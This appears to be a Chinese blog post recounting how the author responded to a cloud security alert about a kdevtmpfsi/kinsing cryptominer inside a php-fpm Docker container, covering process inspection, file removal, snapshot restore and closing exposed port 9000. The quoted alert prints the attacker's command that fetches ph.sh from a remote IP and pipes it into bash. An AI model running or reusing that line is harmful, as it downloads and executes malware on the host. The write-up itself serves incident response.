查看告警信息
昨天刚在服务器中通过 docker 上线了一个 Nginx+PHP 站点(双容器链接),半夜时分就接收到了阿里云发来的告警信息。
恶意脚本代码执行 紧急
发生时间:2022-05-19 00:54:55
IP:*** ***
告警描述:检测模型发现您的服务器上正在执行恶意的Bash、Powershell、Python等脚本代码。
异常事件详情
命令行:curl -s http://185.14.30.35/ph.sh
进程PID:14065
进程文件名:curl
父进程ID:14063
父进程:bash
父进程文件路径:/usr/bin/bash
进程链:
-[874] /usr/bin/containerd
-[13606] containerd-shim -namespace moby -workdir /var/lib/containerd/io.containerd.runtime.v1.linux/moby/e83f2ef1bd970fffd1943c71f325f9e769cbb2cd4451d271a5fc317de2f7e6ac -address /run/containerd/containerd.sock -containerd-binary /usr/bin/containerd -runtime-root /var/run/docker/runtime-runc
-[13613] runc --root /var/run/docker/runtime-runc/moby --log /run/containerd/io.containerd.runtime.v1.linux/moby/e83f2ef1bd970fffd1943c71f325f9e769cbb2cd4451d271a5fc317de2f7e6ac/log.json --log-format json create --bundle /run/containerd/io.containerd.runtime.v1.linux/moby/e83f2ef1bd970fffd1943c71f325f9e769cbb2cd4451d271a5fc317de2f7e6ac --pid-file /run/containerd/io.containerd.runtime.v1.linux/moby/e83f2ef1bd970fffd1943c71f325f9e769cbb2cd4451d271a5fc317de2f7e6ac/init.pid e83f2ef1bd970fffd1943c71f325f9e769cbb2cd4451d271a5fc317de2f7e6ac
-[13622] php-fpm
-[13673] php-fpm
-[14062] sh -c [ -f "/bin/bash" ] && (curl -s http://185.14.30.35/ph.sh||wget -q -O- http://185.14.30.35/ph.sh)|bash || (curl -s http://185.14.30.35/ph2.sh||wget -q -O- http://185.14.30.35/ph2.sh)|sh
-[14063] sh -c [ -f "/bin/bash" ] && (curl -s http://185.14.30.35/ph.sh||wget -q -O- http://185.14.30.35/ph.sh)|bash || (curl -s http://185.14.30.35/ph2.sh||wget -q -O- http://185.14.30.35/ph2.sh)|sh
事件说明:云安全中心检测到您的主机正在执行恶意的脚本代码(包括但不限于bash、powershell、python),请立刻排查入侵来源。如果是您的运维行为,请选择忽略。
分析恶意代码来源
基本上就是两种情况:一是外部攻破了防火墙,通过SSH或者注入执行的脚本;二是此前上线的站点中存在恶意代码。
由于我使用的是密钥文件登录而禁用了密码,基本上可以确定是本地文件的问题。
根据告警信息,提示了一个 IPv4地址的服务器。想都不用想,IP 地址肯定做了中转,一查显示“荷兰弗莱福兰”,直接略过。
更重要的是 “php-fpm
” 这一提示,说明 Nginx 交由 php-fpm 解析的文件中存在问题。
进行处置
停止运行
SSH 上服务器后,top
查看有没有异常程序,发现了 CPU 满占用的进程 kdevtmpfsi
。网上搜索它其实是一个挖矿程序,由 kinsing
进程守护。
ps -ef | grep kdevtmpfsi
systemctl status [kdevtmpfsi PID]
# 若病毒进程隐藏的好,或者像我使用的是轻量级应用服务器,这一步其实看不到什么信息
ps -ef | grep kinsing
kill -9 [kdevtmpfsi PID] [kinsing PID]
# 临时强制停止服务,恶意程序会自启,要抓紧时间找到源文件
找到病毒源文件
find / -name "kdevtmpfsi"
find / -name "kinsing"
主机中搜索相关文件,发现在 /tmp/
和类似 /var/lib/docker/ovorlay2/****/tmp/kdevtmpfsi
中找到文件。先删除能删的,无法删除的提示“无效句柄”的都在 docker 容器中。
find / -name "kdevtmpfsi" | xargs rm -rf
find / -name "kinsing" | xargs rm -rf
因 Nginx 将 PHP 文件交由 php-fpm 容器渲染,恶意挖矿程序大概率在 php-fpm 容器中。
现将上线的 PHP 文件打包备份用于之后在沙箱中分析,删除原 PHP 文件。
接下来分析 php-fpm 容器中的进程,发现确实在该容器中运行。
docker top php-fpm-rc
docker 官方上传的镜像一般没有什么问题,需要将 php-fpm 容器(连同其数据卷一同)删除。
至此,病毒理应不会再次上线。
幸亏每次上线服务前,我都会存个快照,为防止病毒没有删除干净,恢复快照重新来过。
沙箱分析
通过沙箱分析未发现有恶意代码,考虑到 kdevtmpfsi
挖矿病毒出来时间已经几年了,分析结果应该可信。说明是服务器被攻击执行的恶意代码。
检查服务器防火墙
核实服务器端口权限
官方 php-fpm 容器默认端口为 9000 ,可能攻击者因此会共计所有 9000端口开放的主机,所以需要配置访问来源规则 ***.***.***.***/0
,或者修改为其他端口。而我使用的9000端口则是之前一个开放的访问端口,未作修改,现将端口权限修改再做测试。